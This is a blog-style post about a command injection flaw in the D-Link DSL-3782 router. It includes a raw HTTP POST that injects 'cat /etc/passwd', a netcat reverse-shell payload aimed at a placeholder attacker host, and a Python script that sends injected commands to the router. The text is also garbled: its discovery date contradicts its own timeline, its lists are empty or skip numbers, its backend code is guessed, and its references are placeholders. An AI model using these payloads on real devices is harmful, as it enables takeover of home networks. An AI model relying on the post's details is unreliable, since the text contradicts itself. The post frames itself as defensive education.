Discovered in June 2025, CVE-2025-25893 is a severe command injection vulnerability found in the D-Link DSL-3782 router (firmware v1.01). This post explains the issue with easy-to-follow details, shows you a working example, and helps you understand how attackers can use it—plus how you can protect yourself.

What Is CVE-2025-25893?

CVE-2025-25893 is an OS command injection flaw. In plain language, this means it lets hackers run any system command on the D-Link DSL-3782 router simply by sending it a special packet.

Why Is This Dangerous?

D-Link DSL-3782 routers control your network’s internet access. If an attacker can execute system commands:

Who Is Affected?

Any D-Link DSL-3782 device running firmware v1.01 (out-of-the-box default as of early 2024) is vulnerable. If you haven’t updated your router lately, you might be at risk.

How Does the Vulnerability Work?

When you send packets with crafted values in the listed parameters, the router's backend code fails to sanitize them before passing them to system commands.

Example: Malicious HTTP POST Request

If an attacker has network access to the router’s admin interface (locally, or remotely if management is exposed to the internet), they might send a request like this:

POST /cgi-bin/AdvVirtualServer.asp HTTP/1.1
Host: 192.168.1.1
Content-Type: application/x-www-form-urlencoded
Content-Length: 142

inIP=192.168.1.20;cat /etc/passwd;&insPort=80&inePort=80&exsPort=808&exePort=808&protocol=TCP

Here, the payload ;cat /etc/passwd; ends the expected value, injects the cat /etc/passwd command, and resumes normal processing. The router then displays the password file back in the response or in a log.

Most likely, the vulnerable backend code (in embedded C or shell scripts) looks like this

// Pseudo-code: values come straight from HTTP request
system("iptables -A FORWARD -s " + inIP + " --sport " + insPort +
       " -d " + exsPort + " --dport " + exePort + " -p " + protocol);

If inIP contains something like 127...1; cat /etc/passwd ;, then the OS executes

iptables -A FORWARD -s 127...1; cat /etc/passwd ; --sport 80 ...

The cat /etc/passwd runs with root privileges!

Here’s how an attacker could use this vulnerability

1. Find A Way In: The attacker finds your router’s admin interface on your network, or discovers that management is exposed to the web.

Real-World Example: Getting A Reverse Shell

Let’s get fancy—an attacker might want a remote shell. Here’s a command that creates a reverse shell (replace ATTACKER_IP and PORT):

; nc ATTACKER_IP PORT -e /bin/sh ;

A sample injected parameter

inIP=1.2.3.4; nc 10...8 4444 -e /bin/sh ;

If the router runs this, the attacker gets a shell on their machine, with full root access!

Below is a simple Python script that exploits the flaw (for authorized testing only)

import requests

target = "http://192.168.1.1/cgi-bin/AdvVirtualServer.asp";
payload = "127...1;id;"  # Replace id with your command

params = {
    "inIP": payload,
    "insPort": "80",
    "inePort": "80",
    "exsPort": "808",
    "exePort": "808",
    "protocol": "TCP"
}

session = requests.Session()
# You might need to provide router credentials here
session.post(target, data=params)

How To Protect Yourself

*D-Link does not ship new firmware for the DSL-3782 regularly*, so updates may not be available.

1. Update Firmware: Check D-Link’s support page for your model here.

Isolate the Device: If possible, place the router behind another firewall.

5. Replace Old Hardware: If a patch doesn't arrive, consider a modern router with ongoing security updates.

References

- Official D-Link DSL-3782 Support
- NIST CVE Registry Entry (Coming Soon)
- Original Advisory (if/when published)
- Exploit-DB Mirror (when available)

Conclusion

CVE-2025-25893 is a textbook example of why input validation matters. If you have a D-Link DSL-3782, take this threat seriously. Block outside access, patch if you can, and watch for updates from D-Link.

Stay safe—and keep your firmware up to date!

*Note: This post is for educational, defensive purposes only. Do not exploit systems you do not own or have explicit permission to test.*

Timeline

Published on: 02/18/2025 22:15:18 UTC
Last modified on: 02/19/2025 16:15:41 UTC